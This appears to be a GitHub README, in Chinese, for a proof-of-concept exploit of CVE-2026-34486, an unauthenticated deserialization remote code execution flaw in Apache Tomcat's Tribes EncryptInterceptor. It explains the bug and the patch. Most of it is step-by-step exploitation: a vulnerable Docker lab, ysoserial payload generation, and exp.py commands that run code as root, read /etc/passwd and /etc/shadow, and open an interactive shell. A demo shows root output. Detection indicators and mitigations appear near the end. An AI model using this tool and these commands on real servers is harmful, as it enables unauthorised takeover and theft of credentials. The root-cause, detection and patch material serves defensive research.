404-src/CVE-2026-34486

GitHub: 404-src/CVE-2026-34486

一个利用 Apache Tomcat EncryptInterceptor 反序列化漏洞实现未认证 RCE 的 PoC 工具,聚焦 Tribes 集群通信缺陷。

Stars: 2 | Forks: 2

# CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE ![Apache Tomcat](https://img.shields.io/badge/Apache%20Tomcat-9.0.0.M1--9.0.116-red?logo=apachetomcat) ![CVE](https://img.shields.io/badge/CVE-2026--34486-critical?color=critical) ![CVSS](https://img.shields.io/badge/CVSS-7.5-orange) ![Python](https://img.shields.io/badge/Python-3.6%2B-blue?logo=python) ![Java](https://img.shields.io/badge/Java-11%2B-orange?logo=openjdk) ![Docker](https://img.shields.io/badge/Docker-ready-blue?logo=docker) ![License](https://img.shields.io/badge/License-MIT-green) ## 漏洞详情 | 字段 | 信息 | |------|------| | CVE ID | CVE-2026-34486 | | CVSS 分数 | 7.5(高危) | | 组件 | Apache Tomcat Tribes `EncryptInterceptor` | | 影响版本 | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 | | 修复版本 | 9.0.117 / 10.1.54 / 11.0.21 | | 漏洞类型 | 通过反序列化实现的未认证远程代码执行 | | 攻击向量 | 网络 / 无认证 / 复杂度低 | | 攻击端口 | TCP 4000(Tribes NioReceiver) | ## 根本原因 Apache Tomcat 的集群功能使用 **Tribes** 框架在集群节点间同步会话数据,默认监听 TCP 端口 4000。 当启用 `EncryptInterceptor`(AES/CBC)时,存在以下逻辑缺陷: ``` // EncryptInterceptor.java — vulnerable version public void messageReceived(ChannelMessage msg) { try { byte[] decrypted = decrypt(msg.getMessage().getBytes()); // process decrypted message... } catch (Exception e) { log.error("Failed to decrypt message", e); // only logs the error } super.messageReceived(msg); // ← BUG: raw bytes forwarded even after decryption failure } ``` `catch` 块仅记录错误。由于 `super.messageReceived(msg)` **位于** `try-catch` **之外**,原始未加密字节会被转发至 `XByteBuffer.deserialize()` → `ObjectInputStream.readObject()`。 攻击者无需认证即可发送精心构造的反序列化载荷触发 RCE。 ### 攻击链 ``` Attacker ──TCP:4000──► NioReceiver (no auth) │ EncryptInterceptor.messageReceived() try { AES/CBC decrypt → IllegalBlockSizeException } catch{ log.severe("Failed to decrypt") } ← only log trace super.messageReceived(msg) ← BUG: raw bytes pass through │ GroupChannel → XByteBuffer.deserialize() │ ObjectInputStream.readObject() ← deserialization triggered │ CommonsCollections6 Gadget Chain │ Runtime.exec() → RCE as root 🔴 ``` ### 补丁(9.0.117) 修复方案将 `super.messageReceived(msg)` **移至** `try` 块内部,使任何解密失败时消息被静默丢弃(fail-closed)。 ``` // EncryptInterceptor.java — patched version public void messageReceived(ChannelMessage msg) { try { byte[] decrypted = decrypt(msg.getMessage().getBytes()); // process... super.messageReceived(msg); // ← FIXED: only reached if decryption succeeds } catch (Exception e) { log.error("Failed to decrypt message", e); // message is discarded } } ``` ## 要求 - Python 3.6+ - Java 11+(`java` 和 `javac` 在 PATH 中) - Docker(用于实验部署) - `ysoserial-all.jar` - `apache-tomcat-9.0.116`(用于 Tribes 库) ## 实验环境搭建 ### 拉取预构建的漏洞镜像 ``` docker run -d \ --name tomcat-cve-2026-34486 \ -p 8080:8080 \ -p 4000:4000 \ nowday3/cve-2026-34486:latest # 验证 curl http://localhost:8080 ``` ## 下载利用工具与依赖 ``` # exp git clone https://github.com/404-src/CVE-2026-34486 cd CVE-2026-34486/ # ysoserial wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar # Tomcat 9.0.116(用于 Tribes 库) wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz tar xzf apache-tomcat-9.0.116.tar.gz cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/ ``` ## 利用 ### 基本 RCE 验证 ``` python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned" # 验证 docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned ``` ### 带输出的 RCE(推荐) ``` python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" # 输出: uid=0(root) gid=0(root) groups=0(root) python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd" python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow" ``` ### 交互式 Shell 模式 ``` python3 exp.py -t 127.0.0.1 -p 4000 --shell # rce@127.0.0.1$ id # rce@127.0.0.1$ hostname # rce@127.0.0.1$ exit ``` ### 自定义路径 ``` python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \ --ysoserial ./ysoserial-all.jar \ --tomcat-lib ./apache-tomcat-9.0.116/lib ``` ### exp.py 选项 ``` -t, --target Target IP (default: 127.0.0.1) -p, --port Tribes port (default: 4000) --http-port HTTP port for output retrieval (default: 8080) -c, --command Execute command directly (no shell features) --rce Execute command and retrieve output via HTTP --shell Interactive shell mode -g, --gadget Gadget chain (default: CommonsCollections6) --ysoserial Path to ysoserial jar --tomcat-lib Path to Tomcat lib directory ``` ## 演示 ``` $ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ 34486 Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE Target : 127.0.0.1:4000 Gadget : CommonsCollections6 [*] Compiling TribesClient.java ... [+] Compiled successfully [*] Generating CommonsCollections6 payload ... [+] Payload: 1361 bytes [*] Sending Tribes frame → 127.0.0.1:4000 [tribes] frame=1496B cdBytes=1478B [+] Frame sent! [*] Fetching result: http://127.0.0.1:8080/.out.txt uid=0(root) gid=0(root) groups=0(root) ``` ## 检测与影响指标(IoC) 攻击留下的**唯一**日志痕迹: ``` SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1] org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived Failed to decrypt message javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher ``` 不会记录 `readObject` 异常 —— 命令会静默执行。 ### 缓解措施 | 操作 | 优先级 | |------|--------| | 升级至 Tomcat 9.0.117 / 10.1.54 / 11.0.21 | **关键** | | 仅将端口 4000 限制为可信集群 IP | 高 | | 监控日志中重复出现的 `Failed to decrypt message` | 中 | | 如非必要,禁用 Tribes 集群功能 | 高 | ## 参考链接 - [Apache Tomcat 安全公告](https://tomcat.apache.org/security-9.html) - [Apache Tribes 文档](https://tomcat.apache.org/tomcat-9.0-doc/cluster-howto.html) - [ysoserial — frohoff](https://github.com/frohoff/ysoserial) - [Java 反序列化备忘单](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet) ## 免责声明 **本项目仅限授权的安全研究、渗透测试及教育用途。** 请勿在未拥有或未经明确授权的系统上使用本工具。 作者不对本工具的任何误用或造成的损害承担责任。 ## 许可证 MIT License © 2026 [404-src](https://github.com/404-src)
标签:10.1.0-M1, 10.1.53, 11.0.0-M1, 11.0.20, 9.0.0.M1, 9.0.116, AES/CBC, Apache Tomcat, BurpSuite集成, CVE-2026, CVE-2026-34486, CVSS 7.5, Docker, EncryptInterceptor, JS文件枚举, NioReceiver, Python, RCE, RuleLab, TCP 4000, Tribes, 会话同步, 加解密, 反序列化, 反序列化漏洞, 固定版本 10.1.54, 固定版本 11.0.21, 固定版本 9.0.117, 安全防御评估, 攻击向量, 无后门, 无身份验证, 日志绕过, 未认证, 漏洞, 编程工具, 请求拦截, 远程代码执行, 远程执行, 逆向工具, 错误处理, 集群, 高危